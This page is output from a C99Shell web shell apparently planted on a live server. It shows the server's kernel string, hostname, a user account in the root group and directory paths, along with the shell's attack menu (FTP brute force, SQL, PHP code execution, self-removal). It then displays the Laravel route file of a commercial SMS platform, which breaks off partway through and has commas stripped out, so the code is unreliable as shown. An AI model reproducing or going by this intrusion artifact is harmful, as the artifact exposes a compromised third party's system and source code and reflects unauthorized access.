!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/routes/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     web.php (45.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Models\Plan;
use 
Illuminate\Support\Facades\Route;
use 
App\Http\Controllers\Admin\GatewayController;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/maintenance', [\App\Http\Controllers\FrontController::class,'maintenance'])->name('maintenance');

Route::group(['middleware'=> 'maintenance_mode'], function(){
    
Route::get('/','FrontController@home')->name('home');
    
Route::get('/about-us','FrontController@aboutUs')->name('about.us');
    
Route::get('/features','FrontController@services')->name('features');
    
Route::get('/pricing','FrontController@pricing')->name('pricing');
    
Route::get('/contact','FrontController@contact')->name('contact');
    
Route::get('/see/coverage/{id}','FrontController@coverage')->name('coverage');
    
Route::get('/get/coverage/','FrontController@get_coverage')->name('get.coverage');
    
Route::get('/demo/login','FrontController@demo_login')->name('demo.login');
    
Route::get('/li/{code}','FrontController@shortLink')->name('shorten.url');
    
Route::put('/li/redirect/{code}','FrontController@shortLinkRedirect')->name('shorten.url.redirect');
    
Route::post('/store','\App\Http\Controllers\Admin\UserMessageController@store')->name('user.message.store');
    
Route::post('subscribe/store','\App\Http\Controllers\Admin\SubscribeController@subscribe_store')->name('subscribe.store');
});



//#region admin route
Route::group(['as' => 'admin.''prefix' => 'admin'], function () {

    
Route::group(['middleware' => 'guest'], function () {
        
Route::get('/login', ['uses' => 'Auth\AdminLoginController@index''as' => 'login']);
        
Route::post('/login', ['uses' => 'Auth\AdminLoginController@authenticate''as' => 'authenticate']);
        
Route::post('send/otp', ['uses' => 'Auth\AdminLoginController@sendOtp''as' => 'sendOtp']);

        
Route::get('/password/reset', ['uses' => 'Auth\ForgotPasswordController@showLinkRequestFormAdmin''as' => 'password.request']);
        
Route::post('/password/email''Auth\ForgotPasswordController@sendResetLinkEmailAdmin')->name('password.email');
    });

    
Route::group(['middleware' => 'auth'], function () {
        
Route::get('/logout', ['uses' => 'Auth\AdminLoginController@logout''as' => 'logout']);

        
Route::group(['namespace' => 'Admin'], function () {
            
Route::get('/dashboard', ['uses' => 'DashboardController@index''as' => 'dashboard']);
            
Route::get('/notification/counter', ['uses' => 'DashboardController@countNotification''as' => 'notification.counter']);
            
Route::get('/clear/cache', ['uses' => 'DashboardController@clearCache''as' => 'clear.cache']);

            
Route::resource('/customers''CustomerController');
            
Route::resource('/numbers''NumberController');
            
Route::resource('/plans''PlanController');
            
Route::resource('/sender-id''SenderIdController');
            
Route::resource('/page''PageController');
            
Route::resource('/whatsapp-number''WhatsAppNumberController');
            
Route::get('/all/whats-app/numbers''WhatsAppNumberController@getAll')->name('get.all.whatsapp.number');
            
Route::get('/get/all/whatsapp/number/requests''WhatsAppNumberController@requests')->name('get.all.whatsapp.request');
            
Route::get('/whatsapp/number/requests/get''WhatsAppNumberController@get_requests')->name('whatsapp.request.number');
            
Route::post('/whatsapp/number/requests/response''WhatsAppNumberController@request_response')->name('whatsapp.number.requests.response');


            
Route::group(['as' => 'customer.''prefix' => 'customer'], function () {
                
Route::get('/all''CustomerController@getAll')->name('get.all');
                
Route::post('/assign-number''CustomerController@assignNumber')->name('number.assign');
                
Route::post('/remove-number''CustomerController@removeNumber')->name('number.remove');
                
Route::post('/change-plan''CustomerController@changePlan')->name('plan.change');
                
Route::post('/login-as''CustomerController@loginAs')->name('login.ass');
                
Route::post('/bann''CustomerController@bann')->name('bann');
//                Edit Current Plan
                
Route::get('/plan/edit/{customer}''CustomerController@editCustomerPLan')->name('current.plan.edit');
                
Route::post('/plan/update/{customer}''CustomerController@updateCustomerPLan')->name('current.plan.update');
                
Route::get('get/info''CustomerController@getCustomerInfo')->name('get.info');
                
Route::post('/credit/subtract''CustomerController@subtract')->name('credit.subtract');
                
Route::get('/assign/senderid''CustomerController@assignSenderId')->name('assign.senderid');
                
Route::post('/save/assign/senderid''CustomerController@saveAssignSenderId')->name('save.assign.senderid');

            });


            
Route::get('/reseller''CustomerController@reseller')->name('reseller');
            
Route::get('/master/reseller''CustomerController@masterReseller')->name('master.reseller');

            
Route::group(['as' => 'number.''prefix' => 'number'], function () {
                
Route::get('/all''NumberController@getAll')->name('get.all');
                
Route::get('/requests''NumberController@requests')->name('requests');
                
Route::get('/requests/get''NumberController@get_requests')->name('get.requests');
                
Route::post('/requests/response''NumberController@request_response')->name('requests.response');
            });

            
Route::group(['as' => 'plan.''prefix' => 'plan'], function () {
                
Route::get('/all''PlanController@getAll')->name('get.all');
                
Route::get('/requests''PlanController@requests')->name('requests');
                
Route::get('/requests/get''PlanController@get_requests')->name('get.requests');
            });

            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/''SettingsController@index')->name('index');
                
Route::post('/update/profile''SettingsController@profile_update')->name('profile_update');
                
Route::post('/update/application''SettingsController@app_update')->name('app_update');
                
Route::post('/update/otp/setting''SettingsController@otp_setting')->name('otp.setting.update');
                
Route::post('/whatsapp/api''SettingsController@whatsapp_api')->name('whatsapp.api');
                
Route::post('/update/smtp''SettingsController@smtp_update')->name('smtp_update');
                
Route::post('/update/api''SettingsController@api_update')->name('api_update');
                
Route::post('/email-template/store''SettingsController@templateStore')->name('email.template.store');
                
Route::post('/update/local/setting''SettingsController@local_settings')->name('local.setting');
                
Route::post('/sending-setting''SettingsController@sending_setting')->name('sending.setting');
                
Route::get('/gateway/numbers''SettingsController@getGatewayNumber')->name('gateway.numbers');
                
Route::get('/otp/index''SettingsController@otpSettins')->name('otp.index');
                
Route::get('get/all/otp/user''SettingsController@activeOtpUser')->name('get.all.otp.user');
                
Route::post('/otp''SettingsController@otpSetting')->name('otp');
                
Route::get('/customer/otp/status''SettingsController@getOtpStatus')->name('user.otp.status');
                
Route::post('/cache''SettingsController@cacheSettings')->name('cache');

            });
//            For Database Backup
            
Route::get('/db-backup''SettingsController@dbBackupList')->name('db.backup');
            
Route::get('/download/db-backup''SettingsController@downloadDbBackup')->name('download.db.backup');


            
Route::group(['as' => 'ticket.''prefix' => 'ticket'], function () {
                
Route::get('/''TicketController@index')->name('index');
                
Route::get('/get-all''TicketController@show')->name('get.all');
                
Route::post('/store''TicketController@store')->name('store');
                
Route::get('/reply''TicketController@reply')->name('reply');
                
Route::post('/status''TicketController@status')->name('status');
                
Route::get('/download''TicketController@documentDownload')->name('download');
            });


            
Route::group(['as' => 'addon.''prefix' => 'addon'], function () {
                
Route::get('/''AddonController@index')->name('index');
                
Route::get('/import''AddonController@import')->name('import');
                
Route::post('/import''AddonController@importPost')->name('import');
                
Route::get('/get/all''AddonController@getAll')->name('get.all');
                
Route::delete('/uninstall''AddonController@uninstall')->name('uninstall');
                
Route::post('/change-status''AddonController@changeStatus')->name('change-status');

            });

            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });
            
Route::resource('/faq''FAQController');
            
Route::get('/get-all/faq''FAQController@getAll')->name('get.all.faq');
            
Route::group(['as' => 'sender.''prefix' => 'sender'], function () {
                
Route::get('/all''SenderIdController@getAll')->name('get.all');
                
Route::post('/requests/response''SenderIdController@sender_id_request')->name('requests.response');
                
Route::get('/requests''SenderIdController@sender_id_approved')->name('requests');
                
Route::get('/requests/get''SenderIdController@sender_id_get_requests')->name('get.requests');
                
Route::post('/remove-sender-id''SenderIdController@removeSenderId')->name('senderId.remove');
                
Route::post('/sender-id-setting''SenderIdController@setPrice')->name('sender_id.setting');
                
// Route::get('/sender-id/details/{id}', 'SenderIdController@details')->name('sec.senderd.details');
                
Route::get('/sender-id/download/{sender_id}''SenderIdController@downloadPdf')->name('detail.download');
                
Route::get('/sender-id/pdf/content''SenderIdController@pdfContent')->name('pdf.content');
                
Route::post('/sender-id/pdf/content/save''SenderIdController@pdfContentSave')->name('pdf.content.save');
                
Route::get('/sec/senderid/details/{id}''SenderIdController@details')->name('sec.details');
                
Route::get('/get/all/headerid''SenderIdController@getAllheaderid')->name('get.all.headerid');
                
Route::get('/get/all/headerid/requests''SenderIdController@getAllheaderidrequests')->name('get.all.headerid.requests');
                
Route::get('/headerid''SenderIdController@headerId')->name('headerid');
                
Route::get('/headerId/request''SenderIdController@headerIdRequest')->name('headerId.request');
                
Route::post('/request/headerId/approve''SenderIdController@header_id_request')->name('request.headerId.approve');
            });

            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });
            
Route::resource('/faq''FAQController');
            
Route::get('/get-all/faq''FAQController@getAll')->name('get.all.faq');

            
Route::group(['as' => 'subscribe.''prefix' => 'subscribe'], function () {
                
Route::get('/index','SubscribeController@index')->name('index');
                
// Route::post('/store','SubscribeController@subscribe_store')->name('subscribe.store');
            
});

            
Route::get('/user/message/index','UserMessageController@index')->name('user.message.index');
            
// Route::post('/store','UserMessageController@store')->name('user.message.store');

            
Route::get('/template','TemplateController@index')->name('template');
            
Route::post('/template/store','TemplateController@store')->name('template.store');
            
Route::get('/theme/customize','TemplateController@theme')->name('theme.customize');
            
Route::post('/theme/customize/store','TemplateController@themeStore')->name('theme.customize.store');
            
Route::get('/partner/image/delete','TemplateController@paymentPartnerImage')->name('partner.image.delete');


            
//    Became Seller
            
Route::get('/verification/list''BecameSellerController@index')->name('became.seller.list');
            
Route::get('/verification/seller/{id}''BecameSellerController@details')->name('became.seller.details');
            
Route::post('/verification/seller/status''BecameSellerController@status')->name('became.seller.status');
            
Route::get('/download/seller/document''BecameSellerController@downloadDocument')->name('download.seller.document');

//            TopUp Request
            
Route::get('/top-up/request''TopUpController@request')->name('topup.request');
            
Route::get('/getall/top-up/request''TopUpController@getAllRequest')->name('get.all.topup.request');
            
Route::post('/top-up/request/status''TopUpController@requestStatus')->name('topup.request.status');

//            Domain Request
            
Route::get('/domain/request''DomainController@index')->name('domain.request');
            
Route::delete('/domain/delete/{id}''DomainController@delete')->name('domain.delete');
            
Route::post('/domain/status''DomainController@status')->name('domain.status');
            
Route::get('/get-all/domain/request''DomainController@getAll')->name('getall.domain.request');

            
Route::get('/getall/notice''NoticeController@getAll')->name('get.all.notice');
            
Route::resource('/notice''NoticeController');


//        TopUp    Reports
            
Route::get('/transactions''ReportController@transactions')->name('transactions');
            
Route::get('/get/all/transactions''ReportController@getAllTransactions')->name('get.all.transactions');
//        Message    Reports
            
Route::get('/message/reports''MessageReportController@report')->name('message.reports');
            
Route::get('/message/get/all/reports''MessageReportController@getAllReports')->name('message.getall.reports');

            
//Dynamic Gateway
            
Route::get('/get/all/gateways''GatewayController@getAll')->name('get.all.gateways');
            
Route::resource('/gateway''GatewayController');
            
Route::get('/gateway/prefill/data''GatewayController@getPrefill');
            
Route::post('/gateway/prefill/store''GatewayController@storePrefillGateway')->name('gateway.prefill.store');
            
Route::post('/gateway/prefill/update''GatewayController@updatePrefillGateway')->name('gateway.prefill.update');

            
//Admin Coverage
            
Route::get('/get/all/coverage''CoverageController@getAll')->name('get.all.coverage');
            
Route::resource('/coverage''CoverageController');
        });
    });

});
//#endregion


//#region customer routes

//Guest customer route
Route::group(['middleware' => 'guest','maintenance_mode'], function () {
    
Route::get('admin/password/reset''Admin\ForgotPasswordController@show_form')->name('admin.password.request');
    
Route::post('admin/password/reset''Admin\ForgotPasswordController@sent_email')->name('admin.password.sent');
    
Route::get('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_form')->name('admin.password.reset.confirm');
    
Route::post('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_confirm')->name('admin.password.reset.confirm');
});

Route::group(['middleware' => ['guest:customer','maintenance_mode']], function () {
    
Route::get('/login', ['uses' => 'Auth\CustomerLoginController@index''as' => 'login']);
    
Route::post('/login', ['uses' => 'Auth\CustomerLoginController@authenticate''as' => 'authenticate']);

    
Route::get('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up''as' => 'signup']);
    
Route::post('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up_create''as' => 'signup']);

    
Route::get('password/reset''Auth\ForgotPasswordController@show_form')->name('password.request');
    
Route::post('password/reset''Auth\ForgotPasswordController@sent_email')->name('password.sent');
    
Route::get('password/reset/confirm''Auth\ForgotPasswordController@reset_form')->name('password.reset.confirm');
    
Route::post('password/reset/confirm''Auth\ForgotPasswordController@reset_confirm')->name('password.reset.confirm');

    
Route::any('/inbound/{type}', ['uses' => 'InboundController@process''as' => 'inbound.process']);
    
Route::any('/plivo/webhook/{id}', ['uses' => 'InboundController@plivoWebhook''as' => 'plivo.webhook']);
    
Route::any('/webhook/deliver', ['uses' => 'InboundController@webhookDeliver''as' => 'webhook.deliver']);
    
Route::get('/check/schedule', ['uses' => 'ScheduleController@process''as' => 'schedule.process']);
    
Route::get('/verify/', ['uses' => 'Auth\CustomerLoginController@verifyView''as' => 'customer.verify.view']);
    
Route::get('/verify/customer', ['uses' => 'Auth\CustomerLoginController@verify''as' => 'customer.verify']);
    
Route::get('/gateway/notification', ['uses' => 'InboundController@gatewayStatus''as' => 'sms.gateway.status']);

});

//Auth customer route
Route::group(['as' => 'customer.''middleware' => ['auth:customer''email.verify:customer','checkcustomer_status']], function () {

    
Route::get('/logout', ['uses' => 'Auth\CustomerLoginController@logout''as' => 'logout']);
    
Route::post('/login-as-admin''Auth\CustomerLoginController@loginAsAdmin')->name('login.as.admin');
    
Route::get('/check/plan', function (\Illuminate\Http\Request $request){
        if (!
$request->plan_id){
            return 
abort('404');
        }
        
$data['plan']=Plan::find($request->plan_id);
        return 
view('customer.trigger_plan'$data);
    })->
name('trigger.plan');

    
Route::group(['namespace' => 'Customer'], function () {
        
Route::group(['auth:customer','middleware' => ['plan.validation']], function () {
            
Route::get('/dashboard', ['uses' => 'DashboardController@index''as' => 'dashboard']);
            
Route::get('/download/notice/file', ['uses' => 'DashboardController@downloadAttach''as' => 'download.notice.file']);
            
Route::get('/all/notice', ['uses' => 'DashboardController@viewAllNotices''as' => 'all.notices']);
            
Route::get('/notification/counter', ['uses' => 'DashboardController@countNotification''as' => 'notification.counter']);
            
Route::get('/clear/cache', ['uses' => 'DashboardController@clearCache''as' => 'clear.cache']);
            
// User Analytics
            // Route::post('/user/browser/data', [CustomerDashboardController::class, 'store_user_browser_data'])->name('analytics.data');
            
Route::post('/user/browser/data', ['uses' => 'DashboardController@store_user_browser_data''as' => 'store_user_browser_data']);
            
            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/index', ['uses' => 'SettingsController@index''as' => 'index']);
                
Route::post('/profile-update', ['uses' => 'SettingsController@profile_update''as' => 'profile_update']);
                
Route::post('/password-update', ['uses' => 'SettingsController@password_update''as' => 'password_update']);
                
Route::post('/notification-update', ['uses' => 'SettingsController@notification_update''as' => 'notification_update']);
                
Route::post('/webhook/update', ['uses' => 'SettingsController@webhookUpdate''as' => 'webhook_update']);
                
Route::post('/data/posting', ['uses' => 'SettingsController@dataPosting''as' => 'data_posting']);
            });
            
Route::group(['as' => 'smsbox.''prefix' => 'smsbox'], function () {
                
//inbox
                
Route::get('/inbox''InboxController@index')->name('inbox');
                
Route::post('/inbox/trash''InboxController@move_trash')->name('inbox.trash');
                
Route::post('/inbox/change-status''InboxController@changeStatus')->name('inbox.change-status');

                
//sent
                
Route::get('/sent''SentController@index')->name('sent');
                
Route::post('/sent/trash''SentController@move_trash')->name('sent.trash');

                
//draft
                
Route::get('/draft''DraftController@index')->name('draft');
                
Route::post('/draft/store''DraftController@store')->name('draft.store');
                
Route::post('/draft/delete''DraftController@delete')->name('draft.delete');

                
//trash
                
Route::get('/trash''TrashController@index')->name('trash');

                
//compose
                
Route::get('/compose''ComposeController@index')->name('compose');
                
Route::post('/compose/sent''ComposeController@sentCompose')->name('compose.sent');
                
Route::get('/compose/sms/calculate''ComposeController@smsCalculate')->name('compose.sms.calculate');

                
//overview
                
Route::get('/overview''ComposeController@overview')->name('overview');
                
Route::get('/overview/get/data''ComposeController@overview_get_data')->name('overview.get.data');
                
Route::delete('/overview/data/delete''ComposeController@overview_data_delete')->name('overview.data.delete');


                
//Queue
                
Route::get('/queue''ComposeController@queueList')->name('queue');

            });


            
Route::post('/buy/number''NumberController@buyNumber')->name('buy.number');
            
Route::group(['as' => 'numbers.''prefix' => 'phone-numbers'], function () {
                
Route::get('/''NumberController@phone_numbers')->name('phone_numbers');
                
Route::get('/get''NumberController@get_numbers')->name('get.numbers');
                
Route::get('/purchase''NumberController@purchaseList')->name('purchase');
                
Route::post('/purchase''NumberController@purchaseStore')->name('purchase');
                
Route::post('/purchase/remove''NumberController@purchase_remove')->name('purchase.remove');
                
Route::get('/purchase/list-get''NumberController@purchaseListGet')->name('purchase.list_get');
                
Route::post('/update-forward''NumberController@updateForwardTo')->name('update-forward');

            });

//        WhatsApp Numbers
            
Route::get('/whatsapp/numbers''WhatsAppNumberController@phone_numbers')->name('whatsapp.numbers');
            
Route::post('/buy/whatsapp/numbers''WhatsAppNumberController@buyWpNumber')->name('buy.whatsapp.numbers');
            
Route::get('/get/whatsapp/numbers''WhatsAppNumberController@get_whatsapp_numbers')->name('get.whatsapp.numbers');
            
Route::get('/whatsapp/number/purchase''WhatsAppNumberController@purchaseList')->name('whatsapp.number.purchase');
            
Route::post('/whatsapp/number/purchase''WhatsAppNumberController@purchaseStore')->name('whatsapp.number.purchase.store');
            
Route::post('/whatsapp/number/purchase/remove''WhatsAppNumberController@purchase_remove')->name('whatsapp.number.purchase.remove');
            
Route::get('/whatsapp/number/purchase/list-get''WhatsAppNumberController@wpNumberPurchaseListGet')->name('whatsapp.number.purchase.list_get');
            
Route::post('/whatsapp/number/update-forward''WhatsAppNumberController@updateForwardTo')->name('whatsapp.number.update-forward');

//            API Token
            
Route::get('/authorization/token/create''AuthorizationController@index')->name('authorization.token.create');
            
Route::post('/authorization/token/store''AuthorizationController@store')->name('authorization.token.store');


            
//Contacts
            
Route::resource('/contacts''ContactController');
            
Route::group(['as' => 'contact.''prefix' => 'contact'], function () {
                
Route::get('/get''ContactController@getAll')->name('get.all');
                
Route::get('/search''ContactController@search')->name('get.search');
                
Route::get('/import/contacts/create''ContactController@import_contacts')->name('import.contacts');
                
Route::post('/import/contacts/show''ContactController@import_contacts_show')->name('import.contacts.show');
                
Route::post('/import/contacts/store''ContactController@import_contacts_store')->name('import.contacts.store');
            });
            
Route::get('/opt-out/numbers', [\App\Http\Controllers\Customer\ContactController::class,'otpNumbers'])->name('opt.out.number');
            
Route::get('/get/all/opt-out/numbers', [\App\Http\Controllers\Customer\ContactController::class,'getAllOtpNumbers'])->name('get.all.opt.out.number');
            
Route::get('/get/all/opt-out/export', [\App\Http\Controllers\Customer\ContactController::class,'exportOtpNumbers'])->name('get.all.opt.out.export');
//From Group
            
Route::resource('/from-group''FromGroupController');
            
Route::get('/get/all/from-group''FromGroupController@show')->name('get.all.from.group');
// DLT Template
        
Route::group(['middleware' => ['auth''checkdlt_access']], function () {
            
Route::get('/dlt/template''DLTTemplateController@index')->name('dlt.template');
            
Route::get('/dlt/template/create''DLTTemplateController@create')->name('dlt.template.create');
            
Route::post('/dlt/template/store''DLTTemplateController@store')->name('dlt.template.store');
            
Route::get('/get/all/dlt/template/''DLTTemplateController@getAll')->name('get.all.dlt.template');
            
Route::get('/dlt/template/edit/{id}''DLTTemplateController@edit')->name('dlt.template.edit');
            
Route::put('/dlt/template/update/{id}''DLTTemplateController@update')->name('dlt.template.update');
            
Route::delete('/dlt/template/destroy/{id}''DLTTemplateController@destroy')->name('dlt.template.destroy');
            
Route::get('/check/dlt/template/name''DLTTemplateController@checkTemplateName')->name('check.dlt.template.name');
            
Route::post('/dlt/import/template/store''DLTTemplateController@import_store')->name('dlt.import.template.store');
            
Route::get('/headerid/request''DLTTemplateController@headerIdRequest')->name('headerid.request');
            
Route::post('/headerid/request/store''DLTTemplateController@headerIdRequestStore')->name('headerid.request.store');
            
Route::get('/get/all/headerid/request/''DLTTemplateController@getAllheaderIdRequest')->name('get.all.headerid.request');
            
Route::put('/headerid/request/update/{header_id}''DLTTemplateController@updateheaderIdRequest')->name('headerid.request.update');
        });
//        Chat Response
            
Route::get('/chat/response/''ChatResponseController@index')->name('chat.response');
            
Route::get('/get/all/chat/response/''ChatResponseController@getAll')->name('get.all.chat.response');
            
Route::post('/chat/response/store''ChatResponseController@store')->name('chat.response.store');
            
Route::post('/chat/response/update''ChatResponseController@update')->name('chat.response.update');
            
Route::get('/chat/response/delete''ChatResponseController@delete')->name('chat.response.delete');


            
//Groups
            
Route::resource('/groups''GroupController');
            
Route::get('/get/all/staff', [\App\Http\Controllers\Customer\StaffController::class,'getAll'])->name('get.all.staff');
            
Route::resource('/staff''StaffController');
            
Route::group(['as' => 'group.''prefix' => 'group'], function () {
                
Route::get('/get''GroupController@getAll')->name('get.all');
                
Route::post('/bulk/delete''GroupController@bulkDelete')->name('bulk.delete');
                
Route::get('/get/numbers''GroupController@getAllNumbers')->name('get.numbers');
                
Route::get('/check/import/status''GroupController@checkImportStatus')->name('check.import.status');

            });
            
Route::get('/export/group/contact/''GroupController@exportContact')->name('export.group.contact');
            
Route::get('/group-records''GroupController@groupRecords')->name('group.records');
            
Route::get('/filtered-records''GroupController@filteredRecord')->name('group.filter.records');
            
Route::post('/new-group''GroupController@newGroup')->name('create.new.group');

            
//Keywords
            
Route::resource('/keywords''KeywordController');
            
Route::group(['as' => 'keyword.''prefix' => 'keyword'], function () {
                
Route::get('/get''KeywordController@getAll')->name('get.all');

            });

            
Route::get('keyword/groups', [\App\Http\Controllers\Customer\KeywordGroupController::class, 'index'])->name('keyword.group.index');
            
Route::post('keyword/group/store', [\App\Http\Controllers\Customer\KeywordGroupController::class, 'store'])->name('keyword.group.store');
            
Route::delete('keyword/group/delete/{id}', [\App\Http\Controllers\Customer\KeywordGroupController::class, 'update'])->name('keyword.group.delete');
            
Route::get('get/all/keyword/groups', [\App\Http\Controllers\Customer\KeywordGroupController::class, 'getAll'])->name('get.all.keyword.group');
            
//SenderId
            
Route::post('/buy/senderid''SenderIdController@buySenderId')->name('buy.sender.id');
            
Route::resource('/sender-id''SenderIdController');
            
Route::group(['as' => 'sender.''prefix' => 'sender'], function () {
                
Route::get('/get''SenderIdController@getAll')->name('get.all');

            });


//Campaign Reports
            
Route::get('/campaign/report/''CampaignController@report')->name('campaign.report');
//        Campaign Statistic
            
Route::get('/campaign/statistic/{id}''CampaignController@statistic')->name('campaign.statistic');
            
//            Overview
            
Route::get('/campaign/overview/{id}''CampaignController@overview')->name('campaign.overview');
            
Route::get('/shortlink/url/statistic''CampaignController@getUrlResult')->name('shortlink.url.statistic');
//        SMS Template For Campaign
            
Route::get('/sms-template''CampaignController@smsTemplate')->name('sms.template.index');

            
Route::resource('/campaign''CampaignController');
            
Route::get('/get/sms-template''CampaignController@getTemplate')->name('get.sms.template');
            
Route::get('/get/campaigns''CampaignController@getAll')->name('get.campaings');
            
Route::post('/campaigns/status''CampaignController@status')->name('campaign.status');
            
Route::any('/campaigns/check/duplicates''CampaignController@checkDuplicates')->name('campaign.check.duplicate_numbers');


            
//        Get Senders
            
Route::get('/all/senders', [\App\Http\Controllers\Customer\CampaignController::class, 'allSenders'])->name('all.senders');
            
Route::get('/get/capabilities/number', [\App\Http\Controllers\Customer\CampaignController::class, 'get_from_numbers'])->name('get.capabilities.numbers');
            
Route::get('/campaign/check/import/status''CampaignController@checkImportStatus')->name('campaign.check.import.status');
//        sms template
            
Route::post('sms/template''SmsTemplateController@store')->name('sms.template');
            
Route::delete('sms/template/delete''SmsTemplateController@delete')->name('sms.template.delete');

            
//Chat
            
Route::group(['as' => 'chat.''prefix' => 'chat'], function () {
                
Route::get('/index''ChatController@index')->name('index');
                
Route::get('/get/data''ChatController@get_data')->name('get.data');
                
Route::post('/label/update''ChatController@label_update')->name('label.update');
                
Route::get('/get/numbers''ChatController@get_numbers')->name('get.numbers');
                
Route::get('/get/chats''ChatController@get_chats')->name('get.chats');
                
Route::get('/get/chat/response''ChatController@get_chat_response')->name('get.chat.response');
                
Route::post('/delete/chat''ChatController@deleteFullConversation')->name('delete');
                
Route::get('/get/new''ChatController@getNewChat')->name('get.new');
                
Route::post('pop/up/message''ChatController@pop_up_message_send')->name('pop.up.message.send');

            });
            
Route::get('/search/contacts''ChatController@findUser')->name('search.contacts');

            
//Get Campaign Staffs
            
Route::get('/get/campaign/staffs''ChatController@getCampaignStaffs')->name('get.campaign.staffs');
            
Route::post('/staffs/assign/in/campaign''ChatController@assignStaffInContact')->name('staff.assign.in.campaign');
            
//Staff Message View Access
            
Route::post('/access/staff/message/view/''SettingsController@accessStaffViewMessage')->name('access.staff.message.view');
            
//Flag Contact
            
Route::post('/flag/contact''ChatController@flaggedContact')->name('flag.contact');
            
//Delete Contact Staff
            
Route::get('/delete/contact.staff''ChatController@deleteContactStaff')->name('delete.contact.staff');
            
//Count Message & Channel
            
Route::get('/message/counter''ChatController@messageCount')->name('message.counter');
            
//Conversation Moved To Trash
            
Route::post('/message/move/trash''ChatController@trashContact')->name('message.move.trash');
            
Route::post('/remove/trash/contact''ChatController@removeTrashContact')->name('remove.trash.contact');

            
Route::post('/exception/''ChatController@exception')->name('exception');
            
Route::post('/add/new/contact''ChatController@addNewContact')->name('add.new.contact');
            
Route::post('/send/contact/data''ChatController@sendContactInfo')->name('send.contact.data');

            
Route::resource('/label''LabelController');
            
Route::get('/get/all/labels''LabelController@getAll')->name('get.all.labels');
            
Route::group(['as' => 'ticket.''prefix' => 'ticket'], function () {
                
Route::get('/''TicketController@index')->name('index');
                
Route::post('/store''TicketController@store')->name('store');
                
Route::get('/get-all''TicketController@show')->name('get.all');
                
Route::get('/details''TicketController@details')->name('details');
                
Route::post('/reply''TicketController@reply')->name('reply');
                
Route::get('/download''TicketController@documentDownload')->name('download');
            });

            
Route::resource('/campaign''CampaignController');
            
Route::get('/get/sms-template''CampaignController@getTemplate')->name('get.sms.template');
            
Route::get('/get/campaigns''CampaignController@getAll')->name('get.campaings');
            
Route::post('/campaigns/status''CampaignController@status')->name('campaign.status');

//        sms template
            
Route::post('sms/template''SmsTemplateController@store')->name('sms.template');
            
Route::delete('sms/template/delete''SmsTemplateController@delete')->name('sms.template.delete');

            
//download sample
            
Route::get('/download/sample/{type}''SettingsController@downloadSample')->name('download.sample');
            
Route::post('/otp/settings''SettingsController@otpSettings')->name('opt.settings');
            
Route::post('/smtp/settings''SettingsController@smtp_update')->name('smtp.settings');
            
//            Email Template
            
Route::post('/settings/email/template', [\App\Http\Controllers\Customer\SettingsController::class,'templateStore'])->name('settings.email.template');

            
//Inbound Setting
            
Route::post('/from/inb/settings''SettingsController@inbound_settings')->name('inbound.settings');



            
//          Customer  Reports
            
Route::get('/transactions''ReportController@transactions')->name('transactions');
            
Route::get('/get/all/transactions''ReportController@getAllTransactions')->name('get.all.transactions');
            
Route::get('/message/reports''ReportController@message_report')->name('message.reports');
            
Route::get('/get/all/messages/report''ReportController@getAllReports')->name('get.all.messages.report');


            
//reseller
            
Route::group(['middleware' => ['auth:customer''verify.seller:customer']], function () {
                
Route::get('resellers', [\App\Http\Controllers\Customer\ResellerController::class, 'index'])->name('reseller.index');
                
// Route::get('reseller/plans', [\App\Http\Controllers\Customer\ResellerController::class,'plan'])->name('reseller.plan');

// Reseller Plan
                
Route::get('get/all/plans''ResellerPlanController@getAll')->name('get.all.plans');
                
Route::get('/plans/requests''ResellerPlanController@requests')->name('plans.requests');
                
Route::get('/plans/requests/get''ResellerPlanController@get_requests')->name('get.plans.requests');
                
Route::resource('/plans''ResellerPlanController');

                
//Reseller Customer
                
Route::post('/change-plan''ResellerCustomerController@changePlan')->name('plan.change');

                
Route::get('/all/reseller-customers''ResellerCustomerController@getAll')->name('get.all.reseller.customers');
// Number
                
Route::post('/reseller-customer/assign-number''ResellerCustomerController@assignNumber')->name('reseller.customer.number.assign');
                
Route::post('/reseller-customer/remove-number''ResellerCustomerController@removeNumber')->name('reseller.customer.number.remove');
                
// SenderID
                
Route::post('/reseller-customer/sender-id''ResellerCustomerController@senderId')->name('reseller.customer.senderId');
                
Route::get('/resellers''ResellerCustomerController@reseller')->name('reseller');
                
Route::resource('/reseller-customers''ResellerCustomerController');
//Subtract
                
Route::get('get/info''ResellerCustomerController@getCustomerInfo')->name('get.info');
                
Route::post('/credit/subtract''ResellerCustomerController@subtract')->name('credit.subtract');

                
//                Edit Current Plan
                
Route::get('/plan/edit/{customer}''ResellerCustomerController@editCustomerPLan')->name('current.plan.edit');
                
Route::post('/plan/update/{customer}''ResellerCustomerController@updateCustomerPLan')->name('current.plan.update');
//                Get Plan
                
Route::get('/get/masterreseller/plans''ResellerCustomerController@getPlan')->name('get.masterreseller.plans');

                
//Reseller Customer Login As
                
Route::post('/reseller/customer/loginas''ResellerCustomerController@loginAs')->name('reseller.customer.loginas');
                
Route::post('/reseller/customer/loginas''ResellerCustomerController@loginAs')->name('reseller.customer.loginas');

                
//            TopUp Request
                
